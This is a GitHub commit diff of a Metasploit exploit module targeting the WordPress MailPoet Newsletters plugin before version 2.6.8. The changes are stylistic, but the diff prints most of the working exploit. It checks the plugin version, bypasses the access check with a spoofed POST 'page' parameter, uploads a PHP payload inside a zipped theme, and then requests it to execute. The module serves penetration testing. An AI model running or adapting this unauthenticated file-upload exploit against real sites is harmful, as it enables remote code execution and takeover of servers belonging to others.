Skip to content

Commit aa27af9

Browse files
committed
Land rapid7#3547 - rubocop changes
2 parents b3c7fff + a809c9e commit aa27af9

File tree

1 file changed

+22
-21
lines changed

1 file changed

+22
-21
lines changed

modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb

Lines changed: 22 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,5 @@
1+
# encoding: UTF-8
2+
13
##
24
# This module requires Metasploit: http//metasploit.com/download
35
# Current source: https://github.com/rapid7/metasploit-framework
@@ -12,7 +14,8 @@ class Metasploit3 < Msf::Exploit::Remote
1214
include Msf::Exploit::FileDropper
1315

1416
def initialize(info = {})
15-
super(update_info(info,
17+
super(update_info(
18+
info,
1619
'Name' => 'Wordpress MailPoet Newsletters (wysija-newsletters) Unauthenticated File Upload',
1720
'Description' => %q{
1821
The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.8
@@ -24,7 +27,8 @@ def initialize(info = {})
2427
a POST variable overwrites a GET variable in the $_REQUEST array. The plugin
2528
uses $_REQUEST to check for access rights. By setting the POST parameter to
2629
something not beginning with 'wysija_', the check is bypassed. Wordpress uses
27-
the $_GET array to determine the page, so it is not affected by this.
30+
the $_GET array to determine the page, so it is not affected by this. The developers
31+
applied the fixes to all previous versions too.
2832
},
2933
'Author' =>
3034
[
@@ -34,14 +38,14 @@ def initialize(info = {})
3438
'License' => MSF_LICENSE,
3539
'References' =>
3640
[
37-
[ 'URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html' ],
38-
[ 'URL', 'http://www.mailpoet.com/security-update-part-2/'],
39-
[ 'URL', 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php']
41+
['URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html'],
42+
['URL', 'http://www.mailpoet.com/security-update-part-2/'],
43+
['URL', 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php']
4044
],
4145
'Privileged' => false,
4246
'Platform' => ['php'],
4347
'Arch' => ARCH_PHP,
44-
'Targets' => [ ['wysija-newsletters < 2.6.8', {}] ],
48+
'Targets' => [['wysija-newsletters < 2.6.8', {}]],
4549
'DefaultTarget' => 0,
4650
'DisclosureDate' => 'Jul 1 2014'))
4751
end
@@ -58,35 +62,31 @@ def create_zip_file(theme_name, payload_name)
5862
}
5963

6064
zip_file = Rex::Zip::Archive.new
61-
content.each_pair do |name, content|
62-
zip_file.add_file(name, content)
65+
content.each_pair do |name, con|
66+
zip_file.add_file(name, con)
6367
end
6468

6569
zip_file.pack
6670
end
6771

6872
def check
6973
readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wysija-newsletters', 'readme.txt')
70-
res = send_request_cgi({
74+
res = send_request_cgi(
7175
'uri' => readme_url,
7276
'method' => 'GET'
73-
})
77+
)
7478
# no readme.txt present
75-
if res.nil? || res.code != 200
76-
return Msf::Exploit::CheckCode::Unknown
77-
end
79+
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
7880

7981
# try to extract version from readme
8082
# Example line:
8183
# Stable tag: 2.6.6
8284
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
8385

8486
# readme present, but no version number
85-
if version.nil?
86-
return Msf::Exploit::CheckCode::Detected
87-
end
87+
return Msf::Exploit::CheckCode::Detected if version.nil?
8888

89-
print_status("#{peer} - Found version #{version} of the plugin")
89+
vprint_status("#{peer} - Found version #{version} of the plugin")
9090

9191
if Gem::Version.new(version) < Gem::Version.new('2.6.8')
9292
return Msf::Exploit::CheckCode::Appears
@@ -108,19 +108,20 @@ def exploit
108108
data.add_part('on', nil, nil, 'form-data; name="overwriteexistingtheme"')
109109
data.add_part('themeupload', nil, nil, 'form-data; name="action"')
110110
data.add_part('Upload', nil, nil, 'form-data; name="submitter"')
111+
# this line bypasses the check implemented in version 2.6.7
111112
data.add_part(rand_text_alpha(10), nil, nil, 'form-data; name="page"')
112113
post_data = data.to_s
113114

114115
payload_uri = normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wysija', 'themes', theme_name, payload_name)
115116

116117
print_status("#{peer} - Uploading payload to #{payload_uri}")
117-
res = send_request_cgi({
118+
res = send_request_cgi(
118119
'method' => 'POST',
119120
'uri' => uri,
120121
'ctype' => "multipart/form-data; boundary=#{data.bound}",
121122
'vars_get' => { 'page' => 'wysija_campaigns', 'action' => 'themes' },
122123
'data' => post_data
123-
})
124+
)
124125

125126
if res.nil? || res.code != 302 || res.headers['Location'] != 'admin.php?page=wysija_campaigns&action=themes&reload=1&redirect=1'
126127
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
@@ -135,9 +136,9 @@ def exploit
135136
print_warning("#{peer} - The theme folder #{theme_name} can not be removed. Please delete it manually.")
136137

137138
print_status("#{peer} - Executing payload #{payload_uri}")
138-
res = send_request_cgi({
139+
send_request_cgi(
139140
'uri' => payload_uri,
140141
'method' => 'GET'
141-
})
142+
)
142143
end
143144
end

0 commit comments

Comments
 (0)